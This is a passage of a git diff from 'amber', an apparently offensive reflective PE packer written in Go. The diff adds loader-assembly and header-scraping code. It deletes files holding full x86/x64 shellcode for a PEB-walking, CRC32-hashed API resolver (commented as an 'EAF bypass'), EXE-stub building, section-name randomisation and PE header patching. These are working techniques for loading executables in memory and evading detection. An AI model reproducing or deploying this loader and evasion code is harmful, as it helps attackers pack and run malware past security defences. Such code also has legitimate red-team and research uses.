:= bp.AssemblePayload() - eror(err) if encoder.EncodingCount > 0 { + spinr.Start() spinr.Suffix = " Encoding reflective payload..." - encoder.SetArchitecture(bp.Architecture) + encoder.SetArchitecture(pe.Architecture) payload, err = encoder.Encode(payload) - eror(err) + if err != nil { + utils.PrintFatal(err) + } + spinr.Stop() } - if !bp.BuildStub { - bp.FullFileName += ".bin" - } else { - // Construct EXE stub - spinr.Suffix = " Building EXE stub..." - payload, err = bp.CompileStub(payload) - eror(err) - bp.FullFileName = strings.ReplaceAll(bp.FullFileName, filepath.Ext(bp.FullFileName), "_packed.exe") + outFile, err := os.Create(cfg.OutputFile) + if err != nil { + utils.PrintFatal(err) } - spinr.Stop() - outFile, err := os.Create(bp.FullFileName) - eror(err) + outFile.Write(payload) defer outFile.Close() - finSize, err := amber.GetFileSize(bp.FullFileName) - eror(err) - status("Final Size: %d bytes\n", finSize) - status("Build File: %s\n", bp.FileName) - green.Println("[✔] Reflective PE generated !") - + finSize, err := utils.GetFileSize(cfg.OutputFile) + if err != nil { + utils.PrintFatal(err) + } + utils.PrintStatus("Final Size: %d bytes\n", finSize) + utils.PrintStatus("Output File: %s\n", cfg.OutputFile) + utils.PrintGreen("[✔] Reflective PE generated !\n") } // BANNER . @@ -98,48 +89,9 @@ const BANNER string = ` ` -func banner() { +func printBanner() { green := color.New(color.FgGreen).Add(color.Bold) red := color.New(color.FgRed).Add(color.Bold) blue := color.New(color.FgBlue).Add(color.Bold) - red.Printf(BANNER, green.Sprintf("v%s", amber.VERSION), blue.Sprintf("https://github.com/egebalci/amber")) -} - -func status(formatstr string, a ...interface{}) { - if spinr.Active() { - spinr.Stop() - } - yellow := color.New(color.FgYellow).Add(color.Bold) - yellow.Print("[*] ") - fmt.Printf(formatstr, a...) - spinr.Start() -} - -func statusBad(formatstr string, a ...interface{}) { - if spinr.Active() { - spinr.Stop() - } - red := color.New(color.FgRed).Add(color.Bold) - white := color.New(color.FgWhite).Add(color.Bold) - red.Print("[!] ") - white.Printf(formatstr, a...) - spinr.Start() -} - -func eror(err error) { - if err != nil { - if spinr.Active() { - spinr.Stop() - } - red := color.New(color.FgRed).Add(color.Bold) - pc, _, _, ok := runtime.Caller(1) - details := runtime.FuncForPC(pc) - if ok && details != nil { - red.Print("[x] ") - log.Fatalf("%s: %s\n", strings.ToUpper(strings.Split(details.Name(), ".")[1]), err) - } else { - red.Print("[x] ") - log.Fatal(err) - } - } + red.Printf(BANNER, green.Sprintf("v%s", config.Version), blue.Sprintf("https://github.com/egebalci/amber")) } diff --git a/pkg/amber.go b/pkg/amber.go index edabd4e..adfae25 100644 --- a/pkg/amber.go +++ b/pkg/amber.go @@ -1,27 +1,37 @@ package amber import ( + "bytes" + "encoding/binary" + "errors" + "path/filepath" + + "github.com/EgeBalci/amber/utils" pe "github.com/EgeBalci/debug/pe" +) - "github.com/EgeBalci/keystone-go" +const ( + PE_DOS_STUB = "This program cannot be run in DOS mode" ) -// VERSION number -const VERSION = "3.1.0" +var ( + ErrUnsupportedArch = errors.New("unsupported PE file architecture") + ErrInvalidPeSpecs = errors.New("unsupported PE file specs") + ErrInvalidPeHeaders = errors.New("invalid PE headers") +) // Blueprint structure contains PE specs, tool parameters and // OS spesific info -type Blueprint struct { - // Parameters... - FileName string - FullFileName string +type PE struct { + Name string + FullName string FileSize int IAT bool Resource bool IgnoreIntegrity bool - BuildStub bool - CustomStubName string - CustomStub []byte + IatResolver bool + SyscallLoader bool + ScrapeHeaders bool // PE specs... Architecture int SizeOfImage uint32 @@ -43,31 +53,154 @@ type Blueprint struct { file *pe.File } -// Assemble assembles the given instruction assembly code -func (bp *Blueprint) Assemble(asm string) ([]byte, bool) { - var mode keystone.Mode - switch bp.Architecture { +func Open(fileName string) (bp *PE, err error) { + bp = new(PE) + bp.Name = fileName + bp.FullName, err = filepath.Abs(fileName) + if err != nil { + return + } + + bp.file, err = pe.Open(bp.FullName) + if err != nil { + return + } + + switch bp.file.FileHeader.Machine { + case pe.IMAGE_FILE_MACHINE_I386: + bp.Architecture = 32 + case pe.IMAGE_FILE_MACHINE_AMD64: + bp.Architecture = 64 + default: + return nil, ErrUnsupportedArch + } + + // Fetch OptionalHeader values to blueprint + switch hdr := (bp.file.OptionalHeader).(type) { + case *pe.OptionalHeader32: + // cast those back to a uint32 before use in 32bit + bp.ImageBase = uint64(hdr.ImageBase) + bp.Subsystem = hdr.Subsystem + bp.SizeOfImage = hdr.SizeOfImage + + bp.IsDLL = bp.file.Characteristics == (bp.file.Characteristics | pe.IMAGE_FILE_DLL) + bp.HasRelocData = hdr.DataDirectory[5].Size != 0x00 + bp.HasBoundedImports = hdr.DataDirectory[11].Size != 0x00 + bp.HasDelayedImports = hdr.DataDirectory[13].Size != 0x00 + bp.IsCLR = hdr.DataDirectory[14].Size != 0x00 + + bp.ExportTable = uint64(hdr.DataDirectory[0].VirtualAddress + uint32(hdr.ImageBase)) + bp.ImportTable = uint64(hdr.DataDirectory[1].VirtualAddress + uint32(hdr.ImageBase)) + bp.RelocTable = uint64(hdr.DataDirectory[5].VirtualAddress + uint32(hdr.ImageBase)) + bp.ImportAdressTable = uint64(hdr.DataDirectory[12].VirtualAddress + uint32(hdr.ImageBase)) + case *pe.OptionalHeader64: + bp.ImageBase = hdr.ImageBase + bp.Subsystem = hdr.Subsystem + bp.SizeOfImage = hdr.SizeOfImage + + bp.IsDLL = bp.file.Characteristics == (bp.file.Characteristics | pe.IMAGE_FILE_DLL) + bp.HasRelocData = hdr.DataDirectory[5].Size != 0x00 + bp.HasBoundedImports = hdr.DataDirectory[11].Size != 0x00 + bp.HasDelayedImports = hdr.DataDirectory[13].Size != 0x00 + bp.IsCLR = hdr.DataDirectory[14].Size != 0x00 + + bp.ExportTable = uint64(hdr.DataDirectory[0].VirtualAddress + uint32(hdr.ImageBase)) + bp.ImportTable = uint64(hdr.DataDirectory[1].VirtualAddress + uint32(hdr.ImageBase)) + bp.RelocTable = uint64(hdr.DataDirectory[5].VirtualAddress + uint32(hdr.ImageBase)) + bp.ImportAdressTable = uint64(hdr.DataDirectory[12].VirtualAddress + uint32(hdr.ImageBase)) + } + + bp.FileSize, err = utils.GetFileSize(bp.FullName) + return +} + +// AssemblePayload generates the binary stub bla bla... +func (pe *PE) AssembleLoader() ([]byte, error) { + + var ( + rawFile = pe.file.RawBytes + err error + ) + + if pe.ScrapeHeaders { + rawFile, err = pe.ScrapePeHeaders() + if err != nil { + return nil, err + } + } + + // Add a call over the given binary + payload, err := pe.AddCallOver(rawFile) + if err != nil { + return nil, err + } + + // Decide on the architecture, API block, and loader types... + // we have 3 pre-assembled loaders for public version of amber. + switch pe.Architecture { case 32: - mode = keystone.MODE_32 + if pe.SyscallLoader { + return nil, errors.New("syscall loader only supports 64 bit PE files") + } + payload = append(payload, LOADER_32...) case 64: - mode = keystone.MODE_64 + if pe.SyscallLoader { + payload = append(payload, SYSCALL_LOADER_64...) + } else { + payload = append(payload, LOADER_64...) + } + default: - return nil, false + return nil, ErrUnsupportedArch } - ks, err := keystone.New(keystone.ARCH_X86, mode) + if pe.IatResolver { + if pe.SyscallLoader { + return nil, errors.New("cannot use IAT resolver with syscall loader") + } + switch pe.Architecture { + case 32: + payload = bytes.ReplaceAll(payload, CRC_API_32, IAT_API_32) + case 64: + payload = bytes.ReplaceAll(payload, CRC_API_64, IAT_API_64) + } + } + + return payload, nil +} + +// AddCallOver function adds a call instruction at the beginning of the given payload +// address of the payload will be pushed to the stack and execution will continue after the end of payload +func (pe *PE) AddCallOver(payload []byte) ([]byte, error) { + // // Perform a short call over the payload + size := uint32(len(payload)) + buf := new(bytes.Buffer) + err := binary.Write(buf, binary.LittleEndian, size) if err != nil { - return nil, false + return nil, err } - defer ks.Close() + return append(append([]byte{0xe8}, buf.Bytes()...), payload...), nil +} - //err = ks.Option(keystone.OPT_SYNTAX, keystone.OPT_SYNTAX_INTEL) - err = ks.Option(keystone.OPT_SYNTAX, keystone.OPT_SYNTAX_NASM) +func (pe *PE) ScrapePeHeaders() ([]byte, error) { + rawFile, err := pe.file.Bytes() if err != nil { - return nil, false + return nil, err + } + + // Scrape MZ magic bytes... + if rawFile[0] == 'M' && + rawFile[1] == 'Z' { + rawFile[0] = 0x00 + rawFile[1] = 0x00 + } else { + return nil, ErrInvalidPeHeaders + } + + // Scrape the DOS stub message... + if bytes.Contains(rawFile, []byte(PE_DOS_STUB)) { + return nil, ErrInvalidPeHeaders } - //log.Println(asm) - bin, _, ok := ks.Assemble(asm, 0) - return bin, ok + return bytes.Replace(rawFile, []byte(PE_DOS_STUB), make([]byte, len(PE_DOS_STUB)), 1), nil } diff --git a/pkg/analyze.go b/pkg/analyze.go deleted file mode 100644 index edf29d7..0000000 --- a/pkg/analyze.go +++ /dev/null @@ -1,114 +0,0 @@ -package amber - -import ( - "errors" - "io/ioutil" - "path/filepath" - - pe "github.com/EgeBalci/debug/pe" -) - -// Analyze returns a Blueprint structure for the given PE file name -func (bp *Blueprint) Analyze() error { - - abs, err := filepath.Abs(bp.FileName) - if err != nil { - return err - } - // Set absolute file name - bp.FullFileName = abs - - peFile, err := pe.Open(bp.FullFileName) - if err != nil { - return err - } - bp.file = peFile - - arch, err := getPEfileArchitecture(bp.FullFileName) - if err != nil { - return err - } - bp.Architecture = arch - - if bp.CustomStubName != "" { - arch, err := getPEfileArchitecture(bp.CustomStubName) - if err != nil { - return err - } - if arch != bp.Architecture { - return errors.New("custom stub architecture mismatch") - } - - stub, err := ioutil.ReadFile(bp.CustomStubName) - if err != nil { - return err - } - - bp.CustomStub = stub - } else { - bp.CustomStub = nil - } - - // Fetch OptionalHeader values to blueprint - switch hdr := (peFile.OptionalHeader).(type) { - case *pe.OptionalHeader32: - // cast those back to a uint32 before use in 32bit - bp.ImageBase = uint64(hdr.ImageBase) - bp.Subsystem = hdr.Subsystem - bp.SizeOfImage = hdr.SizeOfImage - - bp.IsDLL = peFile.Characteristics == (peFile.Characteristics | pe.IMAGE_FILE_DLL) - bp.HasRelocData = hdr.DataDirectory[5].Size != 0x00 - bp.HasBoundedImports = hdr.DataDirectory[11].Size != 0x00 - bp.HasDelayedImports = hdr.DataDirectory[13].Size != 0x00 - bp.IsCLR = hdr.DataDirectory[14].Size != 0x00 - - bp.ExportTable = uint64(hdr.DataDirectory[0].VirtualAddress + uint32(hdr.ImageBase)) - bp.ImportTable = uint64(hdr.DataDirectory[1].VirtualAddress + uint32(hdr.ImageBase)) - bp.RelocTable = uint64(hdr.DataDirectory[5].VirtualAddress + uint32(hdr.ImageBase)) - bp.ImportAdressTable = uint64(hdr.DataDirectory[12].VirtualAddress + uint32(hdr.ImageBase)) - break - case *pe.OptionalHeader64: - bp.ImageBase = hdr.ImageBase - bp.Subsystem = hdr.Subsystem - bp.SizeOfImage = hdr.SizeOfImage - - bp.IsDLL = peFile.Characteristics == (peFile.Characteristics | pe.IMAGE_FILE_DLL) - bp.HasRelocData = hdr.DataDirectory[5].Size != 0x00 - bp.HasBoundedImports = hdr.DataDirectory[11].Size != 0x00 - bp.HasDelayedImports = hdr.DataDirectory[13].Size != 0x00 - bp.IsCLR = hdr.DataDirectory[14].Size != 0x00 - - bp.ExportTable = uint64(hdr.DataDirectory[0].VirtualAddress + uint32(hdr.ImageBase)) - bp.ImportTable = uint64(hdr.DataDirectory[1].VirtualAddress + uint32(hdr.ImageBase)) - bp.RelocTable = uint64(hdr.DataDirectory[5].VirtualAddress + uint32(hdr.ImageBase)) - bp.ImportAdressTable = uint64(hdr.DataDirectory[12].VirtualAddress + uint32(hdr.ImageBase)) - break - } - - // Check for TLS callbacks !!! - - fileSize, err := GetFileSize(bp.FullFileName) - if err != nil { - return err - } - bp.FileSize = fileSize - - return nil -} - -func getPEfileArchitecture(fileName string) (int, error) { - file, err := pe.Open(fileName) - if err != nil { - return 0, err - } - - switch file.FileHeader.Machine { - case pe.IMAGE_FILE_MACHINE_I386: - return 32, nil - case pe.IMAGE_FILE_MACHINE_AMD64: - return 64, nil - default: - return 0, errors.New("unsupported PE file architecture") - } -} diff --git a/pkg/assemble.go b/pkg/assemble.go deleted file mode 100644 index a5d341d..0000000 --- a/pkg/assemble.go +++ /dev/null @@ -1,144 +0,0 @@ -package amber - -import ( - "errors" - "fmt" - "strings" -) - -// AssemblePayload generates the binary stub bla bla... -func (bp *Blueprint) AssemblePayload() ([]byte, error) { - peMap, err := bp.file.CreateMemoryMapping() - if err != nil { - return nil, err - } - - err = bp.file.PerformIntegrityChecks(peMap) - if err != nil && !bp.IgnoreIntegrity { - return nil, err - } - - payload, err := bp.AddCallOver(peMap) - if err != nil { - return nil, err - } - - stub, err := bp.GetLoaderAssembly() - if err != nil { - return nil, err - } - - stub = strings.ReplaceAll(stub, ";", "\n;") - stub = strings.ReplaceAll(stub, "$+", "") - stubBin, ok := bp.Assemble(stub) - if !ok { - bp.printFaultingLine(stub) - return nil, errors.New("core loader stub assembly failed") - } - - return append(payload, stubBin...), nil -} - -// GetLoaderAssembly returns the corresponding PE loader assembly code -// based on the given blueprint strunct -func (bp *Blueprint) GetLoaderAssembly() (string, error) { - var stub, dllPrologue string - - if bp.IsDLL { - switch bp.Architecture { - case 64: - dllPrologue = ` - mov rcx,r13 ; hinstDLL - mov rdx,0x01 ; fdwReason - xor r8,r8 ; lpReserved - - ` - case 32: - dllPrologue = ` - push edi ; AOE - sub [esp],eax ; hinstDLL - push 0x01 ; fdwReason - push 0x00 ; lpReserved - - ` - default: - return "", errors.New("invalid architecture selected") - } - } else { - dllPrologue = "" - } - - api, err := bp.GetAPIResolverBlockAssembly() - if err != nil { - return "", err - } - - switch bp.Architecture { - case 32: - - if bp.HasRelocData { - stub = LoaderX86 - } else { - stub = FixedLoaderX86 - } - case 64: - - if bp.HasRelocData { - stub = LoaderX64 - } else { - stub = FixedLoaderX64 - } - default: - return "", errors.New("invalid architecture selected") - } - - return fmt.Sprintf(stub, api, dllPrologue), nil - -} - -// GetAPIResolverBlockAssembly returns the corresponding API resolver block assembly code -// based on the given blueprint strunct -func (bp *Blueprint) GetAPIResolverBlockAssembly() (string, error) { - switch bp.Architecture { - case 32: - - if bp.IAT { - return IAT32, nil - } - return CRC32, nil - - case 64: - - if bp.IAT { - return IAT64, nil - } - return CRC64, nil - default: - return "", errors.New("invalid architecture selected") - } -} - -// AddCallOver function adds a call instruction over the end of the given payload -// address of the payload will be pushed to the stack and execution will continiou after the end of payload -func (bp *Blueprint) AddCallOver(payload []byte) ([]byte, error) { - - // Perform a shport call over the payload - call := fmt.Sprintf("call 0x%x", len(payload)+5) - callBin, ok := bp.Assemble(call) - if !ok { - return nil, errors.New("call-over assembly failed") - } - payload = append(callBin, payload...) - - return payload, nil -} - -func (bp *Blueprint) printFaultingLine(code string) { - - for i, line := range strings.Split(string(code), "\n") { - if _, ok := bp.Assemble(line); !ok && !strings.Contains(line, "call") { - fmt.Printf("%d: %s\n", i, line) - } - } - -} diff --git a/pkg/common.go b/pkg/common.go deleted file mode 100644 index 903b312..0000000 --- a/pkg/common.go +++ /dev/null @@ -1,30 +0,0 @@ -package amber - -import ( - "math/rand" - "os" -) - -// randomString - generates random string of given length -func randomString(length int) string { - const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" - random := make([]byte, length) - for i := 0; i < length; i++ { - random[i] = charset[rand.Intn(len(charset))] - } - return string(random) -} - -// GetFileSize retrieves the size of the file with given file path -func GetFileSize(filePath string) (int, error) { - file, err := os.Open(filePath) - if err != nil { - return 0, err - } - defer file.Close() - stat, err := file.Stat() - if err != nil { - return 0, err - } - return int(stat.Size()), nil -} diff --git a/pkg/compile.go b/pkg/compile.go deleted file mode 100644 index fa02267..0000000 --- a/pkg/compile.go +++ /dev/null @@ -1,201 +0,0 @@ -package amber - -import ( - "bytes" - "encoding/base64" - "encoding/binary" - "errors" - "fmt" - "io" - "io/ioutil" - "os" - "strings" - - pe "github.com/EgeBalci/debug/pe" -) - -// CompileStub generates the final stub file with given payload -func (bp *Blueprint) CompileStub(payload []byte) ([]byte, error) { - - tmpStub, err := ioutil.TempFile(os.TempDir(), "amber_") - if err != nil { - return nil, err - } - defer os.Remove(tmpStub.Name()) - stub := []byte{} - - if bp.CustomStub != nil { - stub = bp.CustomStub - } else { - switch bp.Architecture { - case 32: - stub, err = base64.StdEncoding.DecodeString(STUB32) - case 64: - stub, err = base64.StdEncoding.DecodeString(STUB64) - } - } - - if bp.IAT && !bp.checkRequiredIATFuncs(stub) { - return nil, errors.New("selected stub does not support IAT resolver API") - } - - tmpStub.Write(stub) - tmpStubPE, err := pe.Open(tmpStub.Name()) - if err != nil { - return nil, err - } - - var sizeOfImage, fileAlignment uint32 - lastSection := tmpStubPE.Sections[tmpStubPE.NumberOfSections-1] - - switch tmpStubPE.FileHeader.Machine { - case pe.IMAGE_FILE_MACHINE_I386: - hdr := tmpStubPE.OptionalHeader.(*pe.OptionalHeader32) - sizeOfImage = hdr.SizeOfImage - fileAlignment = hdr.FileAlignment - break - case pe.IMAGE_FILE_MACHINE_AMD64: - hdr := tmpStubPE.OptionalHeader.(*pe.OptionalHeader64) - sizeOfImage = hdr.SizeOfImage - fileAlignment = hdr.FileAlignment - break - } - - // Edit the pre-compiled EXE stub header values by replacing raw bytes - - // Change Subsystem - stub, err = setSubsystem(stub, bp.Subsystem) - if err != nil { - return nil, err - } - - // Change SizeOfImage - stub, err = setSizeOfImage(stub, bp.SizeOfImage+sizeOfImage) - if err != nil { - return nil, err - } - - // Randomize last section name - lastSectionOffset := bytes.Index(stub, []byte(lastSection.Name)) - newSectionName := "." + randomString(7) // Randomize the section name - stub = append(stub[:lastSectionOffset], bytes.Replace(stub[lastSectionOffset:], []byte(lastSection.Name), []byte(newSectionName), 1)...) - oldBytes := make([]byte, 4) - newBytes := make([]byte, 4) - - // Change SectionVirtualSize - binary.LittleEndian.PutUint32(oldBytes, uint32(lastSection.VirtualSize)) - binary.LittleEndian.PutUint32(newBytes, uint32(len(payload))) - stub = append(stub[:lastSectionOffset], bytes.Replace(stub[lastSectionOffset:], oldBytes, newBytes, 1)...) - // Change SectionRawSize - binary.LittleEndian.PutUint32(oldBytes, uint32(lastSection.Size)) - binary.LittleEndian.PutUint32(newBytes, align(uint32(len(payload)), fileAlignment)) - stub = append(stub[:lastSectionOffset], bytes.Replace(stub[lastSectionOffset:], oldBytes, newBytes, 1)...) - - // Align section size - eofTamper := make([]byte, align(uint32(len(payload)), fileAlignment)-uint32(len(payload))) - for i := range eofTamper { - eofTamper[i] = 0x00 - } - payload = append(payload, eofTamper...) - - // Replace the section data with the reflective payload - oldSectionData, err := lastSection.Data() - if err != nil { - return nil, err - } - stub = bytes.Replace(stub, oldSectionData, payload, 1) - - return stub, nil -} - -func align(size, align uint32) uint32 { - if 0 == (size % align) { - return size - } - return size + (align - (size % align)) -} - -func (bp *Blueprint) checkRequiredIATFuncs(stub []byte) bool { - - if !strings.Contains(string(stub), "LoadLibrary") || !strings.Contains(string(stub), "GetProcAddress") { - return false - } - - if bp.HasRelocData { - if !strings.Contains(string(stub), "VirtualAlloc") { - return false - } - } else { - if !strings.Contains(string(stub), "VirtualProtect") { - return false - } - } - - if bp.Architecture == 64 { - if !strings.Contains(string(stub), "FlushInstructionCache") { - return false - } - } - - return true -} - -// Change the SubSystem header value of given raw PE file with newSubSystem -func setSubsystem(peFile []byte, newSubSystem uint16) ([]byte, error) { - ntHeaderOffset, err := getNtHeaderOffset(peFile) - if err != nil { - return nil, err - } - subSystemBytes := make([]byte, 2) - binary.LittleEndian.PutUint16(subSystemBytes, newSubSystem) - return append(append(peFile[:ntHeaderOffset+0x5c], subSystemBytes...), peFile[ntHeaderOffset+0x5e:]...), nil -} - -// Change the SizeOfImage header value of given raw PE file with newSizeOfImage -func setSizeOfImage(peFile []byte, newSizeOfImage uint32) ([]byte, error) { - ntHeaderOffset, err := getNtHeaderOffset(peFile) - if err != nil { - return nil, err - } - sizeOfImageBytes := make([]byte, 4) - binary.LittleEndian.PutUint32(sizeOfImageBytes, newSizeOfImage) - return append(append(peFile[:ntHeaderOffset+0x50], sizeOfImageBytes...), peFile[ntHeaderOffset+0x54:]...), nil -} - -// Change the ImageBase header value of given raw PE file with newImageBase -func setImageBase(peFile []byte, newImageBase uint64) ([]byte, error) { - r := bytes.NewReader(peFile) - f := new(pe.File) - sr := io.NewSectionReader(r, 0, 1<<63-1) - - ntHeaderOffset, err := getNtHeaderOffset(peFile) - if err != nil { - return nil, err - } - - sr.Seek(int64(ntHeaderOffset+4), 0) - if err := binary.Read(sr, binary.LittleEndian, &f.FileHeader); err != nil { - return nil, err - } - switch f.FileHeader.Machine { - case pe.IMAGE_FILE_MACHINE_I386: - imageBaseBytes := make([]byte, 4) - binary.LittleEndian.PutUint32(imageBaseBytes, uint32(newImageBase)) - return append(append(peFile[:ntHeaderOffset+0x30], imageBaseBytes...), peFile[ntHeaderOffset+0x34:]...), nil - case pe.IMAGE_FILE_MACHINE_AMD64: - imageBaseBytes := make([]byte, 8) - binary.LittleEndian.PutUint64(imageBaseBytes, newImageBase) - return append(append(peFile[:ntHeaderOffset+0x30], imageBaseBytes...), peFile[ntHeaderOffset+0x38:]...), nil - default: - return nil, fmt.Errorf("unsupported COFF file header machine value of 0x%x", f.FileHeader.Machine) - } -} - -// Get the NT_IMAGE_HEADER offset of the given raw PE file -func getNtHeaderOffset(peFile []byte) (uint32, error) { - ntHeaderOffset := binary.LittleEndian.Uint32(peFile[0x3c:0x40]) - if !(peFile[ntHeaderOffset] == 'P' && peFile[ntHeaderOffset+1] == 'E' && peFile[ntHeaderOffset+2] == 0 && peFile[ntHeaderOffset+3] == 0) { - return 0, fmt.Errorf("invalid PE COFF file signature of %v", ntHeaderOffset) - } - return ntHeaderOffset, nil -} diff --git a/pkg/crc_api_x64.go b/pkg/crc_api_x64.go deleted file mode 100644 index 09196b1..0000000 --- a/pkg/crc_api_x64.go +++ /dev/null @@ -1,97 +0,0 @@ -package amber - -// CRC64 https://github.com/EgeBalci/CRC32_API -const CRC64 = ` - -api_call: - push r9 ; Save the 4th parameter - push r8 ; Save the 3rd parameter - push rdx ; Save the 2nd parameter - push rcx ; Save the 1st parameter - push rsi ; Save RSI - xor rdx, rdx ; Zero rdx - mov rdx, gs:[rdx+0x60] ; Get a pointer to the PEB - mov rdx, [rdx+0x18] ; Get PEB->Ldr - mov rdx, [rdx+0x20] ; Get the first module from the InMemoryOrder module list -next_mod: ; - mov rsi, [rdx+0x50] ; Get pointer to modules name (unicode string) - movzx rcx, word [rdx+0x4A]; Set rcx to the length we want to check - xor r9, r9 ; Clear r9 which will store the hash of the module name -loop_modname: ; - xor rax, rax ; Clear rax - lodsb ; Read in the next byte of the name - cmp al, 'a' ; Some versions of Windows use lower case module names - jl not_lowercase ; - sub al, 0x20 ; If so normalise to uppercase -not_lowercase: ; - crc32 r9d,al ; Calculate CRC3 - loop loop_modname ; Loop untill we have read enough - ; We now have the module hash computed - push rdx ; Save the current position in the module list for later - push r9 ; Save the current module hash for later - ; Proceed to itterate the export address table, - mov rdx, [rdx+0x20] ; Get this modules base address - mov eax, dword [rdx+0x3C]; Get PE header - add rax, rdx ; Add the modules base address - cmp word [rax+0x18],0x020B ; is this module actually a PE64 executable? - ; this test case covers when running on wow64 but in a native x64 context via nativex64.asm and - ; their may be a PE32 module present in the PEB's module list, (typicaly the main module). - ; as we are using the win64 PEB ([gs:96]) we wont see the wow64 modules present in the win32 PEB ([fs:48]) - jne get_next_mod1 ; if not, proceed to the next module - mov eax, dword [rax+0x88] ; Get export tables RVA - test rax, rax ; Test if no export address table is present - jz get_next_mod1 ; If no EAT present, process the next module - add rax, rdx ; Add the modules base address - push rax ; Save the current modules EAT - mov ecx, dword [rax+0x18]; Get the number of function names - mov r8d, dword [rax+0x20]; Get the rva of the function names - add r8, rdx ; Add the modules base address - ; Computing the module hash + function hash -get_next_func: ; - jrcxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module - mov r9, [rsp+8] ; Reset the current module hash - dec rcx ; Decrement the function name counter - mov esi, dword [r8+rcx*4]; Get rva of next module name - add rsi, rdx ; Add the modules base address - ; And compare it to the one we want -loop_funcname: ; - xor rax, rax ; Clear rax - lodsb ; Read in the next byte of the ASCII function name - crc32 r9d,al ; Calculate CRC32 - cmp al, ah ; Compare AL (the next byte from the name) to AH (null) - jne loop_funcname ; If we have not reached the null terminator, continue - cmp r9d, r10d ; Compare the hash to the one we are searchnig for - jnz get_next_func ; Go compute the next function hash if we have not found it - ; If found, fix up stack, call the function and then value else compute the next one... - pop rax ; Restore the current modules EAT - mov r8d, dword [rax+0x24]; Get the ordinal table rva - add r8, rdx ; Add the modules base address - mov cx, [r8+2*rcx] ; Get the desired functions ordinal - mov r8d, dword [rax+0x1C]; Get the function addresses table rva - add r8, rdx ; Add the modules base address - mov eax, dword [r8+4*rcx]; Get the desired functions RVA - add rax, rdx ; Add the modules base address to get the functions actual VA - ; We now fix up the stack and perform the call to the drsired function... -finish: - pop r8 ; Clear off the current modules hash - pop r8 ; Clear off the current position in the module list - pop rsi ; Restore RSI - pop rcx ; Restore the 1st parameter - pop rdx ; Restore the 2nd parameter - pop r8 ; Restore the 3rd parameter - pop r9 ; Restore the 4th parameter - pop r10 ; Pop off the return address - sub rsp, 0x20 ; Reserve space for the four register params (4 * sizeof(QWORD) = 32) - ; It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP). - push r10 ; Push back the return address - jmp rax ; Jump to required function - ; We now automagically return to the correct caller... -get_next_mod: ; - pop rax ; Pop off the current (now the previous) modules EAT -get_next_mod1: ; - pop r9 ; Pop off the current (now the previous) modules hash - pop rdx ; Restore our position in the module list - mov rdx, [rdx] ; Get the next module - jmp next_mod ; Process this module - -` diff --git a/pkg/crc_api_x86.go b/pkg/crc_api_x86.go deleted file mode 100644 index fa9e24f..0000000 --- a/pkg/crc_api_x86.go +++ /dev/null @@ -1,89 +0,0 @@ -package amber - -// CRC32 https://github.com/EgeBalci/CRC32_API -const CRC32 = ` - -api_call: - pushad ; We preserve all the registers for the caller, bar EAX and ECX. - mov ebp, esp ; Create a new stack frame - xor eax, eax ; Zero EAX (upper 3 bytes will remain zero until function is found) - mov edx, fs:[eax+0x30] ; Get a pointer to the PEB - mov edx, [edx+0xC] ; Get PEB->Ldr - mov edx, [edx+0x14] ; Get the first module from the InMemoryOrder module list -next_mod: ; - mov esi, [edx+0x28] ; Get pointer to modules name (unicode string) - movzx ecx, word [edx+0x26] ; Set ECX to the length we want to check - xor edi, edi ; Clear EDI which will store the hash of the module name -loop_modname: ; - lodsb ; Read in the next byte of the name - cmp al, 'a' ; Some versions of Windows use lower case module names - jl not_lowercase ; - sub al, 0x20 ; If so normalise to uppercase -not_lowercase: ; - crc32 edi,al ; Calculate CRC32 value - loop loop_modname ; Loop until we have read enough - - ; We now have the module hash computed - push edx ; Save the current position in the module list for later - push edi ; Save the current module hash for later - ; Proceed to iterate the export address table, - mov edx, [edx+0x10] ; Get this modules base address - mov ecx, [edx+0x3C] ; Get PE header - - ; use ecx as our EAT pointer here so we can take advantage of jecxz. - mov ecx, [ecx+edx+0x78] ; Get the EAT from the PE header - jecxz get_next_mod1 ; If no EAT present, process the next module - add ecx, edx ; Add the modules base address - push ecx ; Save the current modules EAT - mov ebx, [ecx+0x20] ; Get the rva of the function names - add ebx, edx ; Add the modules base address - mov ecx, [ecx+0x18] ; Get the number of function names - ; now ecx returns to its regularly scheduled counter duties - - ; Computing the module hash + function hash -get_next_func: ; - jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module - mov edi, [ebp-8] ; Reset the current module hash - dec ecx ; Decrement the function name counter - mov esi, [ebx+ecx*4] ; Get rva of next module name - add esi, edx ; Add the modules base address - ; And compare it to the one we want -loop_funcname: ; - lodsb ; Read in the next byte of the ASCII function name - crc32 edi,al ; Calculate CRC32 - cmp al, ah ; Compare AL (the next byte from the name) to AH (null) - jne loop_funcname ; If we have not reached the null terminator, continue - cmp edi, [ebp+0x24] ; Compare the hash to the one we are searching for - jnz get_next_func ; Go compute the next function hash if we have not found it - - ; If found, fix up stack, call the function and then value else compute the next one... - pop eax ; Restore the current modules EAT - mov ebx, [eax+0x24] ; Get the ordinal table rva - add ebx, edx ; Add the modules base address - mov cx, [ebx+2*ecx] ; Get the desired functions ordinal - mov ebx, [eax+0x1C] ; Get the function addresses table rva - add ebx, edx ; Add the modules base address - mov eax, [ebx+4*ecx] ; Get the desired functions RVA - add eax, edx ; Add the modules base address to get the functions actual VA - ; We now fix up the stack and perform the call to the desired function... -finish: - mov [esp+0x24], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad - pop ebx ; Clear off the current modules hash - pop ebx ; Clear off the current position in the module list - popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered - pop ecx ; Pop off the origional return address our caller will have pushed - pop edx ; Pop off the hash value our caller will have pushed - push ecx ; Puh back the return address - jmp eax ; Properly call the required function for EAF bypass - ret - ; We now automagically return to the correct caller... - -get_next_mod: ; - pop edi ; Pop off the current (now the previous) modules EAT -get_next_mod1: ; - pop edi ; Pop off the current (now the previous) modules hash - pop edx ; Restore our position in the module list - mov edx, [edx] ; Get the next module - jmp next_mod ; Process this module - -` diff --git a/pkg/fixed_loader_x64.go b/pkg/fixed_loader_x64.go deleted file mode 100644 index 804a00f..0000000 --- a/pkg/fixed_loader_x64.go +++ /dev/null @@ -1,112 +0,0 @@ -package amber - -// FixedLoaderX64 contains the 64 bit PE loader for non-relocatable PE files -const FixedLoaderX64 = ` -start: - pop rsi ; Get the address of image to rsi - call get_ip ; Push the current EIP to stack -get_ip: - sub [rsp],rsi ; Subtract the address of pre mapped PE image and 